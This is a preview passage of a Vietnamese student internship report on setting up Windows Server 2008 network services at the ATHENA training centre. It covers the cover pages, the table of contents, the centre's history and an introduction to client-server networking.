Upload
khanh-dinh
View
63
Download
6
Embed Size (px)
Citation preview
ĐẠI HỌC NGUYỄN TẤT THÀNHKHOA CÔNG NGHỆ THÔNG TIN
TRUNG TÂMĐÀO TẠO QUẢN TRỊ MẠNG & AN NINH MẠNG QUỐC TẾ ATHENA
BÁO CÁO ĐỀ TÀI THỰC TẬP
Nghiên cứu và triển khai cácdịch vụ mang trên Windows server 2008
GVHD: Hồ Văn Ngọc
SVTH: Đinh Nguyễn Duy Khánh
MSSV: 1211508781
TRUNG TÂM ĐÀO T O M NG Ạ Ạ C NG HÒA XÃ H I CH NGHĨA VI T NAMỘ Ộ Ủ Ệ
VÀ AN NINH M NG QU C T ATHENAẠ Ố Ế Đ c lâp – T do – H nh phúcộ ự ạ
NHIỆM VỤ THỰC HIỆN KHÓA LUẬN
Họ tên SV : Đinh Nguyễn Duy Khánh MSSV: 1211508781 Chuyên ngành: Công Nghệ Thông Tin.Tên đề tài: Nghiên cứu triển khai các dịch vụ mạng trên Windows Server 2008.Nội dung thực hiện:Lý thuyết:Nắm vững các bước thực hiện quản trị Windows Server 2008.Có khả năng tự thiết lập một mạng máy tính, cấu hình mạng, điều chỉnh khả năng hoạt động mạng máy tính, vận hành hệ thống mạng, giải quyết sự cố, các phương pháp bảo vệ.Thực hành:Cài đặt Windows Server 2008.Nâng cấp Stand Alone thành Domain controller.Cài đặt Windows XP.Join Domain cho windows XP.Tạo user account trên AD, thiết lập policy cho phép User được quyền thay đổi ngày giờ hệ thống.Backup cho Domain Controller.Quản lý dịch vụ DNS, Mail, DHCP, Web, VPN trên môi trường Local và Internet.Thực hiện kết nối VPN, Mail Server, Web Server trên máy chủ ảo VPS.Bảo mật Windows với khai thác mã lỗi trên Windows Xp và trên VPSThời gian thực hiện: 16/3/2015 đến 16/05/2015.Chữ ký của SV:
TP.HCM, Ngày 16 tháng 5 năm 2015GIÁM ĐỐC TRUNG TÂM GIẢNG VIÊN HƯỚNG DẪN
(Ký và ghi rõ họ tên) (Ký và ghi rõ họ tên)
LỜI CẢM ƠN
Trên thực tế không có sự thành công nào mà không gắn liền với những sự hỗ trợ, giúp đỡ dù ít hay nhiều, dù trực tiếp hay gián tiếp của người khác. Trong suốt thời gian từ khi bắt đầu học tập ở giảng đường đến nay, em đã nhận được rất nhiều sự quan tâm, giúp đỡ của quý Thầy Cô, gia đình và bạn bè. Với lời biết ơn sâu sắc nhất, em xin gửi đến quý Thầy Cô ở Khoa Công Nghệ Thông Tin – Trường Đại Học Nguyễn Tất Thành, giáo viên hướng dẫn Hồ Văn Ngọc đã giúp đỡ và dạy chúng em trong suốt thời gian học tập tại trường. Và đặc biệt, trong học kỳ này Khoa đã tổ chức cho chúng em thực tập và được tiếp cận với môn học mà theo em là rất hữu ích đối với sinh viên ngành Công Nghệ Thông Tin.Em xin chân thành cảm ơn Thầy Võ Đỗ Thắng đã tận tâm hướng dẫn chúng em qua từng buổi thực tập tại Trung Tâm ATHENA cũng như những buổi nói chuyện, thảo luận. Nếu không có những lời hướng dẫn, dạy bảo của thầy thầy thì em nghĩ bài báo cáo này của em rất khó có thể hoàn thiện được. Một lần nữa, em xin chân thành cảm ơn thầy.Bài báo cáo được thực hiện trong khoảng thời gian gần 2 tháng. Bước đầu đi vào thực tế, tìm hiểu, kiến thức của em còn hạn chế và còn nhiều bỡ ngỡ. Do vậy, không tránh khỏi những thiếu sót là điều chắc chắn, em rất mong nhận được những ý kiến đóng góp quý báu của quý Thầy Cô và các bạn học cùng lớp để kiến thức của em trong lĩnh vực này được hoàn thiện hơn.Sau cùng, em xin kính chúc quý Thầy Cô trong Khoa Công Nghệ Thông Tin và Thầy Võ Đỗ Thắng thật dồi dào sức khỏe, niềm tin để tiếp tục thực hiện sứ mệnh cao đẹp của mình là truyền đạt kiến thức cho thế hệ mai sau.Trân trọng.
TP.HCM, Ngày 16/05/2015
Sinh viên thực hiện
……………………………
NHẬN XÉT CỦA GIÁO VIÊN HƯƠNG DẪN
Họ và tên người hướng dẫn:.........................................................................................
Nhận xét báo cáo thực tập của học sinh/sinh viên:.......................................................
Lớp: .................................. Khóa:...............................................................................
Tên báo cáo(đề tài)/nội dung báo cáo:..........................................................................
Nội dung nhận xét:
.................................................................................................................................... ..
.................................................................................................................................... ..
.................................................................................................................................... ..
.................................................................................................................................... ..
.................................................................................................................................... ..
.................................................................................................................................... ..
.................................................................................................................................... ..
.................................................................................................................................... ..
.................................................................................................................................... ..
Điểm (số):.................
TP.Hồ Chí Minh ngày…..tháng…..năm 2015
GIÁO VIÊN HƯỚNG DẪN
MỤC LỤC
CHƯƠNG 1: GIỚI THIỆU TRUNG TÂM ATHENA...............................................1
I.Giới thiệu doanh nghiệp thực tập – Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA.......................................................................................1
1. Trụ sở và các chi nhánh:..............................................................................................2
1.1. Trụ sở chính:.............................................................................................................2
1.2.Cơ sở 2_Tại TP Hồ Chí Minh:..................................................................................2
2.Quá trình hình thành và phát triển của trung tâm:........................................................2
3.Cơ cấu tổ chức:.............................................................................................................4
4.Các sản phẩm, giải pháp:..............................................................................................4
4.1Các khóa học dài hạn:.................................................................................................4
4.2Các khóa học ngắn hạn:..............................................................................................4
4.3 Các sản phẩm khác....................................................................................................5
4.4 Cơ sở hạ tầng.............................................................................................................5
4.5 Các dịch vụ hỗ trợ:.....................................................................................................5
5.Khách hàng...................................................................................................................6
6.Đối tác...........................................................................................................................6
II.CÁC NHIỆM VỤ VÀ DỊCH VỤ CỦA BỘ PHẬN THỰC TẬP................................6
III.CÔNG VIỆC VÀ NHIỆM VỤ ĐƯỢC PHÂN CÔNG..............................................6
IV.THỜI GIAN THỰC TẬP...........................................................................................6
CHƯƠNG 2: NỘI DUNG THỰC TẬP........................................................................7
I.Nhiệm vụ được giao......................................................................................................7
II.Kiến thức tìm hiểu........................................................................................................7
1.Giải pháp mạng doanh nghiệp......................................................................................7
1.1.Giới thiệu về mạng doanh nghiệp..............................................................................7
1.2.Các thành phần công nghệ trong mạng doanh nghiệp...............................................7
2.Windows Server 2008...................................................................................................7
Giới thiệu về mô hình Client-Server...............................................................................8
CHƯƠNG 3: TỔNG QUAN VỀ WINDOWS SERVER 2008………………….10
I.GIỚI THIỆU WINDOWS SERVER 2008.................................................................10
II.CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008.............................................10
1.Công cụ quản trị Server Manager...............................................................................10
2.Windows Server Core.................................................................................................11
3.PowerSell....................................................................................................................11
4. Windows Deloyment Services...................................................................................12
5.Terminal Services.......................................................................................................12
6.Network Access Protection.........................................................................................12
7.Read-Only Domain Controllers..................................................................................13
8.Công nghệ Failover Clustering...................................................................................13
9.Windows Firewall with Advance Security.................................................................13
III.MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008............................14
1.Công nghệ ảo hóa Hyper-V........................................................................................14
2.Processor Compatibility Mode...................................................................................14
3.File Classification Infrastructure................................................................................14
4.Quản lý trong ổ đĩa và file..........................................................................................15
5.Cải tiến giao thức và mã hóa......................................................................................15
6.Một số tính năng khác ................................................................................................15
IV.CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008...................................................15
1.Web.............................................................................................................................15
2.Ảo hóa.........................................................................................................................16
3.Bảo mật.......................................................................................................................16
3.1Network Access Protection(NAP)............................................................................16
3.2Read-Only Domain Controller(RODC)....................................................................16
3.3BitLocker..................................................................................................................17
3.4Windows Firewall.....................................................................................................17
V.CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008.............................................17
1.Windows Server 2008: ứng dụng cho các trung tâm data lớn, ứng dụng nghiệp vụ riêng, khả năng mở rộng cao cho tới 64 bộ xử lý.....................................................17
2.Windows Server 2008 Standard Edition.....................................................................17
3.Windows Server 2008 Enterprise Edition..................................................................17
4.Windows Server 2008 Datacenter Edition.................................................................17
5.Windows Web Server................................................................................................18
CHƯƠNG 4: CÀI ĐẶT WINDOWS SERVER 2008...............................................19
I.YÊU CẦU PHẦN CỨNG...........................................................................................19
II.CÁC CÁCH CÀI ĐẶT..............................................................................................19
III. NÂNG CẤP LÊN WINDOWS SERVER 2008......................................................19
IV.CÁI ĐẶT WINDOWS SERVER 2008....................................................................20
CHƯƠNG 5: DỰNG DOMAIN CONTROLLER &JOIN DOMAIN 24
I.DỰNG DOMAIN.......................................................................................................24
II.JOIN DOMAIN.........................................................................................................28
CHƯƠNG 6 : TRIỄN KHAI CÁC DỊCH VỤ MẠNG ............................................30
I. Dịch vụ DNS..............................................................................................................30
1. Giới thiệu về DNS.....................................................................................................30
2. Cài đặt DNS...............................................................................................................30
3. Cấu hình DNS............................................................................................................31
II. DỊCH VỤ DHCP......................................................................................................34
1. Giới thiệu về DHCP...................................................................................................34
2. Cài đặt DHCP............................................................................................................34
3. Cấu hình DHCP.........................................................................................................36
III. Tìm hiểu VNP..........................................................................................................38
1. Khái niệm...................................................................................................................39
2. Các loại VNP.............................................................................................................39
3. Bảo mật trong VPN...................................................................................................40
4. Sản phẩm công nghệ dành cho VPN.........................................................................41
5. Bộ xử lý trung tâm VPN............................................................................................42
6. Router dùng cho VPN................................................................................................42
7. Tường lửa PIX của Cisco..........................................................................................42
IV. VPN Site to Site.......................................................................................................42
1. Chuẩn bị.....................................................................................................................42
2. Đặt IP cho 4 máy.......................................................................................................42
3. Tiến hành cài đặt và cấu hình....................................................................................42
V. IIS 7.0........................................................................................................................50
1. Giới thiệu về IIS........................................................................................................50
2. Những điểm mới của IIS 7.0......................................................................................50
3. Cài đặt IIS..................................................................................................................50
4. Cấu hình IIS...............................................................................................................51
VI. FTP..........................................................................................................................53
1.FTP là gì.....................................................................................................................53
2. Cài đặt FTP................................................................................................................53
3. Cấu hình FTP.............................................................................................................55
CHƯƠNG 7: BACKUP & RESTORE .....................................................................58
1. Cài đặt........................................................................................................................58
2. Backup.......................................................................................................................58
3. Restore.......................................................................................................................60
CHƯƠNG 8: MAIL TRÊN VPS................................................................................63
I. Cấu hình và cài đặt Mdeamonv10..............................................................................63
CHƯƠNG 9: BẢO MẬT WINDOWS.......................................................................70
I.Khai thác lỗ hỏng trên Windows XP với mã lỗi MS08_067.......................................70
II.Khai thác lỗ hỏng trên Windows XP với mã lỗi MS12_004.....................................72
CHƯƠNG 10: KẾT LUẬN.........................................................................................78
I. Các kết quả đạt được..................................................................................................78
II. Kinh nghiệm thực tế..................................................................................................78
III. Hoàn thiện bản thân.................................................................................................78
IV. Các kiến thức được lĩnh hội.....................................................................................78
V. Kết luận.....................................................................................................................79
CHƯƠNG 11:TÀI LIỆU THAM KHẢO..................................................................80
LỜI MỞ ĐẦU
Ngày nay với sự phát triển của khoa học kỹ thuật thì máy tính trở nên phổ biến với mọi người. Chúng mang lại cho con người khả năng to lớn và làm những công việc phi thường: tính toán nhanh và chính xác các bài toán phức tạp, điều khiển tự động, giải trí… Máy tính ra đời không chỉ hỗ trợ trong sản xuất mà còn trong việc học tập và làm góp phần giải phóng sức lao động. Máy tính điện tử là một phát minh, thành tựu to lớn cho sự phát triển của nhân loại góp phần thúc đẩy mạnh mẽ tiến bộ khoa học và kỹ thuật nói riêng cũng như nhân loại nói chung.
Bên cạnh sự phát triển chóng mặt của máy tính trong thời buổi công nghệ thông tin thì các ứng dụng, dịch vụ mạng là nền tản không thể tách rời. Sức mạnh máy tính có thể nhân lên gấp nhiều lần khi được kết nối thành mạng máy tính. Là cơ sở hạ tần cho phép trao đổi thông tin, truyền tải dữ liệu từ xa nhằm rút ngắn khoảng cách. Với mạng máy tính toàn cầu chúng ta dễ dàng tiếp cận với sự phát triển của thế giới trong đó có sự phát triển gần nhất của Windows Server là Windows Server 2000 và Windows Server 2003 và tiếp đến là Windows Server 2008 hỗ trợ tốt các dịch vụ mạng cần thiết trên Server, việc cải tiến không ngừng giúp nâng cao tính ổn định và an toàn hơn cho Windows Server 2008 hoạt động một cách trơn tru.
Hiện nay quá trình công nghiệp hóa hiện đại hóa đất nước là một chủ trương hàng đầu của nhà nước. Mạng máy tính trở thành mục tiêu nghiên cứu và phát triển. Cốt lõi là ngành công nghệ thông tin bao gồm nhiều lĩnh vực từ kiến trúc mạng đến nguyên lý thiết kế, cài đặt mô hình ứng dụng v.v… Mạng viễn thông nói chung và mạng máy tính trên nền tảng Windows Server 2008 nói riêng là công cụ hũu dụng không thể thiếu trong bộ máy nhà nước, trường học, doanh nghiệp… Nó đóng vai trò cầu nối trao đổi thông tin giữa các chính phủ, tổ chức xã hội và mọi người với nhau.
Qua thời gian học tập và nghiên cứu trên ghế nhà trường cùng với sự hỗ trợ tận tình của Thầy cô, bạn bè và người thân đã giúp em thu thập được nhiều kiến thức quý báo. Đặc biệt là quá trình thực tập tại Trung tâm ATHENA giúp em có những trải nghiệm vô cùng thú vị và bổ ích. Với mong muốn tìm hiểu về mạng máy tính và góp phần xây dựng một mạng máy tính thân thiện, thông minh cho mọi người sử dụng.
Tuy đã có nhiều cố gắng song không thể tránh những khuyết điểm, sai sót vì thế mong được sự thông cảm và những ý kiến đóng góp quý báo từ Quý Thầy Cô, bạn bè, bạn đọc, người thân để em có thể ngày một hoàn thiện bản thân mình hơn. Xin chân thành cảm ơn!
CHƯƠNG 1: GIỚI THIỆU VỀ TRUNG TÂM ATHENA:
I.Giới thiệu doanh nghiệp thực tập – Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA.- Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế
ATHENA_Tiền thân là Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt
Năng, (tên thương hiệu viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được
chính thức thành lập theo giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch
Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008.
- Tên công ty viết bằng tiếng nước ngoài: ATHENA ADVICE TRAINING
NETWORK SECURITY COMPANY LIMITED.
- ATHENA là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam đầy năng động,
nhiệt huyết và kinh nghiệm trong lĩnh vực công nghệ thông tin. Với quyết tâm góp
phần vào công cuộc thúc đẩy tiến trình tin học hóa của nước nhà. ATHENA đã và
đang tập trung chủ yếu vào các họat động sau:
Đào tạo chuyên sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song đó, trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính..Qua đó cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt là chuyên gia về mạng máy tính và bảo mật mạng đạt trình độ quốc tế cho các tổ chức, doanh nghiệp có nhu cầu. Tư vấn và hổ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động
sản xuất kinh doanh.
Tiến hành các hoạt động nghiên cứu nâng cao kiến thức tin học và phát triển
cơ sở dữ liệu thông tin về các ứng dụng và sự cố mạng.
Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hợp
xảy ra sự cố máy tính.
Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA đã là chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh mạng cho nhiều bộ ngành như Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ Công An, Sở Thông Tin Truyền Thông các tỉnh, bưu điện các tỉnh,…
Ngoài ra, Trung tâm ATHENA còn có nhiều chương trình hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại học Bách Khoa Thành Phố Hồ Chí Minh, Học
1
Viện An Ninh Nhân Dân( Thủ Đức), Học Viện Bưu Chính Viễn Thông, Hiệp hội an toàn thông tin (VNISA), Viện Kỹ Thuật Quân Sự...
1. Trụ sở và các chi nhánh:
1.1. Trụ sở chính:Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA.
Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam.
Điện thoại: ( 84-8 ) 3824 4041
Hotline: 0943 23 00 99.
1.2.Cơ sở 2_Tại TP Hồ Chí Minh:Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA
92 Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam.
Website: www.athena.edu.vn
Điện thoại: ( 84-8 ) 2210 3801
Hotline: 0943 20 00 88.
2.Quá trình hình thành và phát triển của trung tâm:
Một nhóm các thành viên là những doanh nhân tài năng và thành công trong lĩnh vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo nền công nghệ thông tin nước nhà. Họ là những cá nhân có trình độ chuyên môn cao và có đầu óc lãnh đạo cùng với tầm nhìn xa về tương lai của ngành công nghệ thông tin trong tương lai, họ đã quy tụ được một lực lượng lớn đội ngũ công nghệ thông tin trước hết là làm nhiệm vụ ứng cứu máy tính cho các doanh nghiệp, cá nhân có nhu cầu. Bước phát triển tiếp theo là vươn tầm đào đạo đội ngũ cán bộ công nghệ thông tin cho đất nước và xã hội.
Các thành viên sáng lập trung tâm gồm:- Ông Nguyễn Thế Đông: Cựu giám đốc trung tâm ứng cứu máy tính Athena, hiện tại là giám đốc dự án của công ty Siemen Telecom.- Ông Hứa Văn Thế Phúc: Phó Giám đốc Phát triển Thương mại Công ty EIS, Phó Tổng công ty FPT.- Ông Nghiêm Sỹ Thắng: Phó Tổng giám đốc Ngân hàng Liên Việt, chịu trách nhiệm công nghệ thông tin của Ngân hàng.- Ông Võ Đỗ Thắng: Hiện đang là giám đốc Trung tâm đào tạo quản trị và an ninh mạng Athena. Đến năm 2003, bốn thành viên sáng lập cùng với với đội ngũ ứng cứu máy tính gần 100 thành viên hoạt động như là một nhóm, một tổ chức ứng cứu máy tính miền Nam. Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình.
Trung tâm trở thành một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm
2
cài đặt hệ thống an ninh mạng và đào tạo cho đội ngũ nhân viên của các doanh
nghiệp về các chương trình quản lý dự án MS Project 2003, kỹ năng thương mại
điện tử, bảo mật web… và là địa chỉ tin cậy của nhiều học sinh_sinh viên đến đăng
kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng cao hơn nữa đội
ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng cao về công nghệ
thông tin của đất nước nói chung, các doanh nghiệp, cá nhân nói riêng.Năm 2004,
công ty mở rộng hoạt động cung cấp giải pháp, dịch vụ cho khu vực miền Trung
thông qua việc thành lập văn phòng đại diện tại Đà Nẵng.
Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra
thêm một chi nhánh tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng đội
ngũ giảng viên là những chuyên gia an ninh mạng tốt nghiệp các trường đại học và
học viện công nghệ thông tin uy tín trên toàn quốc, đồng thời trong thời gian này
Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ nhân lực công nghệ thông
tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ giảng viên của
trung tâm.
Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng mọc lên, cùng với khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm rơi vào nhiều khó khăn. Ông Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút vốn khỏi công ty gây nên sự hoang man cho toàn bộ hệ thống trung tâm. Cộng thêm chi nhánh tại Cư xã Nguyễn Văn Trỗi hoạt động không còn hiệu quả phải đóng cửa làm cho trung tâm rơi từ khó khăn này đến khó khăn khác. Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng góp phần vào tiến trình tin học hóa của đất nước. Ông Võ Đỗ Thắng mua lại cổ phần của hai nhà đầu tư lên làm giám đốc và xây dựng lại trung tâm. Đây là một bước chuyển mình có ý nghĩa chiến lược của trung tâm. Mở ra một làn gió mới và một giai đoạn mới, cùng với quyết tâm mạnh mẽ và một tinh thần thép đãgiúp ông Thắng vượt qua nhiều khó khăn ban đầu, giúp trung tâm đứng vững trong thời kì khủng hoảng. Từ năm 2009 – nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược. Trung tâm đào tạo quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo hoạt động của mình. Đến nay, Trung tâm đã trở thành một trong những trung tâm đào tạo quản trị mạng hàng đầu Việt Nam. Cùng với sự liên kết của rất nhiều công ty, tổ chức doanh nghiệp, trung tâm trở thành nơi đào tạo và cung cấp nguồn nhân lực công nghệ thông tin cho xã hội. Từng bước thực hiện mục tiêu góp phần vào tiến trình tin học hóa nước nhà.
3
3.Cơ cấu tổ chức:
Hình 1.1 s đ t ch c công tyơ ồ ổ ứ
4.Các sản phẩm, giải pháp:
4.1Các khóa học dài hạn:- Chương trình đào tạo chuyên gia an ninh mạng. ( AN2S) Athena network
security specialist.
- Chương trình Quản trị viên an ninh mạng (ANST) Athena netuwork security
Technician.
- Chuyên viên quản trị mạng nâng cao (ANMA) Athena network manager
Administrator.
4.2Các khóa học ngắn hạn:Khóa Quản trị mạng :- Quản trị mạng Microsoft căn bản ACBN
- Phần cứng máy tính, laptop, server
- Quản trị hệ thống mạng Microsoft MCSA Security.
- Quản trị mạng Microsoft nâng cao MCSE
- Quản trị window Vista
- Quản trị hệ thống Window Server 2008, 2012
4
- Lớp Master Exchange Mail Server
- Quản trị mạng quốc tế Cissco CCNA
- Quản trị hệ thống mạng Linux 1 và Linux 2.
Khóa thiết kế web và bảo mật mạng- Xây dựng, quản trị web thương mại điện tử với Joomla và VirtuMart
- Lập trình web với Php và MySQL
- Bảo mật mạng quốc tế ACNS
- Hacker mũ trắng
- Athena Mastering Firewall Security
- Bảo mật website.
4.3 Các sản phẩm khác- Chuyên đề thực hành sao lưu và phục hồi dữ liệu
- Chuyên đề thực hành bảo mật mạng Wi_Fi
- Chuyên đề Ghost qua mạng
- Chuyên đề xây dựng và quản trị diễn đàn
- Chuyên đề bảo mật dữ liệu phòng chống nội gián
- Chuyên đề quản lý tài sản công nghệ thông tin
- Chuyên đề kỹ năng thương mại điện tử.
4.4 Cơ sở hạ tầng- Thiết bị đầy đủ và hiện đại.
- Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những
công nghệ mới nhất.
- Phòng máy rộng rãi, thoáng mát.
4.5 Các dịch vụ hỗ trợ:- Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn
- Giới thiệu việc làm cho mọi học viên
- Thực tập có lương cho học viên khá giỏi
- Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không
giới hạn thời gian
- Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy
tính, mạng máy tính, bảo mật mạng
Hỗ trợ thi Chứng chỉ Quốc tế.
5
5.Khách hàng
- Mọi đối tượng chuyên hoặc không chuyên về CNTT.- Khách hàng chủ yếu của ATHENAlà các bạn học sinh, sinh viên và các cán
bộ công nhân viên chức yêu thích lĩnh vực công nghệ thông tin.
6.Đối tác
Trung tâm đào tạo an ninh mạng ATHENA là đối tác đào tạo & cung cấp nhân sự CNTT, quản trị mạng , an ninh mạng chất lượng cao theo đơn đặt hàng cho các đơn vị như ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính...
II.CÁC NHIỆM VỤ VÀ DỊCH VỤ CỦA BỘ PHẬN THỰC TẬP
Bộ phận thực tập : Bộ phận triển khai kỹ thuật.
Nhiệm vụ và dịch vụ:
Triển khai lắp đặt hệ thống mạng.
Bảo trì hệ thống mạng.
Tư vấn hỗ trợ quản trị hệ thống mạng.
III.CÔNG VIỆC VÀ NHIỆM VỤ ĐƯỢC PHÂN CÔNG
Nghiên cứu các dịch vụ mạng trên Windows Server 2008.
Triển khai các dịch vụ mạng trên Windows Server 2008.
Yêu cầu nhiệm vụ: Có kiến thức tốt về Network, System, Security.
IV.THỜI GIAN THỰC TẬP
Từ ngày 16/03/2015 đến ngày 16/05/2015.
6
CHƯƠNG 2: NỘI DUNG THỰC TẬP.
I.Nhiệm vụ được giao. Nghiên cứu các dịch vụ mạng trên Windows Server 2008
Triển khai các dịch vụ mạng trên Windows Server 2008
II.Kiến thức tìm hiểu
1.Giải pháp mạng doanh nghiệp
1.1.Giới thiệu về mạng doanh nghiệpHệ thống mạng của doanh nghiệp đơn giản hay phức tạp là tùy theo quy mô
và loại hình của doanh nghiệp. Ngày nay, các nhà cung ứng đã đưa ra rất nhiều sự
chọn lựa cho doanh nghiệp như cho phép doanh nghiệp tự trang bị, tự quản lý hoặc
sử dụng dịch vụ. Những doanh nghiệp lớn với hàng ngàn máy tính cũng có những
giải pháp quản lý đặc thù kết hợp cả phần cứng và phần mềm.
Hầu hết các doanh nghiệp đều có nhu cầu sử dụng các ứng dụng công nghệ
thông tin (CNTT) ở những mức độ khác nhau. Do vậy, họ sẽ có những nhu cầu
khác nhau về quản trị hệ thống mạng (network) của doanh nghiệp. Một hệ thống
được kiểm soát tốt sẽ làm giảm đáng kể chi phí hoạt động, nâng cao hiệu quả cũng
như độ tin cậy của hệ thống.
1.2.Các thành phần công nghệ trong mạng doanh nghiệpTùy vào qui mô lớn hay nhỏ của doanh nghiệp mà ta sẽ có những giải pháp
công nghệ và thiết kế sao cho phù hợp nhất.
Hiện nay, hầu hết các ứng dụng mới đều yêu cầu rất nhiều tài nguyên của hệ
thống và băng thông mạng, cũng như các yêu cầu về điều khiển, giám sát mạng.
Vậy làm thế nào để một doanh nghiệp vừa và nhỏ, với một số vốn đầu tư ban đầu
hạn chế, có thể tiếp cận được với các công nghệ hiện đại, bắt kịp sự phát triển của
thế giới.
2.Windows Server 2008 giới thiệu về mô hình Client-Server
Điều đáng ngạc nhiên là nhiều công ty ngày nay vẫn không quan tâm đến
việc thực hiện một mạng lưới client/server. Thay vào đó họ chỉ tiếp tục thêm vào
các máy trạm để thực hiện mô hình mạng peer-to-peer. Mạng peer-to-peer không
cung cấp cho bạn nhiều cách bảo mật và chia sẽ tài nguyên. Vì vậy, không có gì
7
ngạc nhiên khi họ thường có vấn đề với việc truy cập vào máy trạm, bị mất dữ liệu
do virus, spyware hay phải trải nghiệm việc internet bị gián đoạn. Máy tính nối
mạng theo mô hình peer-to-peer là đủ khi bạn chỉ có một vài người dung trên mạng,
nhưng khi có nhiều hơn 5 hoặc 6
người sử dụng trên mạng của bạn, bạn thực sự phải xem xét đầu tư một máy chủ
mạng.Vậy lợi ích của mô hình Client-Server cụ thể là gì?
- Tập tin và an ninh mạng: Vai trò quan trọng nhất của một máy chủ tập tin
là an ninh mạng mà nó cung cấp. Bằng cách tạo ra các tài khoản người dùng cá
nhân và nhóm, có thể cấp quyền cho nhóm và cá nhân khai thác dữ liệu được lưu
trữ trên mạng, ngăn chặn người sử dụng trái phép truy cập tài liệu mà họ không nên
xem. Ví dụ, trong Folder chung thì group ketoan và group nhansu có quyền truy
cập ủa nhân viên…
- Tăng độ tin cậy, giảm sự gián đoạn công việc: Nhiều máy chủ được trang
bị nguồn điện dự phòng. Với một nguồn cung cấp năng lượng thứ cấp chạy song
song, sự mất mát của một trong những nguồn cung cấp điện không ảnh hưởng đến
hoạt động hệ thống bình thường. Cũng vậy với hệ thống lưu trữ của máy chủ.
Không giống như một máy tính để bàn trung bình có sử dụng một ổ cứng duy nhất,
một máy chủ sẽ thường sử dụng nhiều ổ đĩa cứng làm việc trong một RAID cấu
hình để ngăn ngừa mất dữ liệu hoặc một sự gián đoạn trong quy trình làm việc.
Ngoài ra, nhiều máy chủ cũng được trang bị ổ đĩa cứng hot swappable và nguồn
cung cấp điện. Các thành phần này có thể thay thế nóng cho phép bạn thay thế phần
cứng bị lỗi mà không gián đoạn toàn bộ văn phòng. Ngoài ra, kể từ khi tất cả các dữ
liệu nhân viên đang được lưu trữ trên mạng, nếu máy trạm của người dùng không
giữa ngày làm việc, nhân viên có thể truy cập các tập tin tương tự từ máy trạm
khác.
- Tập trung lưu trữ dữ liệu và tài nguyên chia sẻ: Với một máy chủ mạng,
tất cả người dùng trên mạng có thể sử dụng các tài nguyên mạng khác nhau ngay từ
bàn làm việc, tăng hiệu quả. Một số trong những nguồn tài nguyên bao gồm:
o Tập trung lưu trữ dữ liệu ( RAID Array )
o Network Attached Storage (NAS) thiết bị
o Tháp đĩa CD / DVD
8
o Máy in và máy chủ Fax
- Quản lý virus : Một trong những mối đe dọa lớn nhất đối với mạng của bạn
là khả năng lây nhiễm từ virus, phần mềm gián điệp và thư rác. Vì vậy, có tốt, cập
nhật, phần mềm chống virus được cài đặt trên hệ thống của bạn là một điều cần
thiết.
Trong một văn phòng của 10 người hoặc ít hơn, hệ thống có thể được duy trì riêng.
Bất cứ điều gì nhiều hơn thế, tuy nhiên, có thể trở thành một gánh nặng thực sự.
Trong những trường hợp này, một gói phần mềm chống virus kết hợp máy trạm và
bảo vệ chống virus máy chủ vào một giải pháp duy nhất có ý nghĩa hơn.
- Sao lưu tập trung: Tất cả các doanh nghiệp nên sao lưu dữ liệu của họ một
cách thường xuyên. Bởi có tất cả các công ty của bạn và dữ liệu nhân viên được lưu
trữ tại một địa điểm, bản sao lưu có thể được thực hiện đáng tin cậy và nhanh
chóng. Vì vậy, bạn sẽ không bao giờ cần phải lo lắng về những dữ liệu được lưu trữ
trên những gì máy trạm như bạn làm trong một mạng peer-to-peer. Ngày nay, hầu
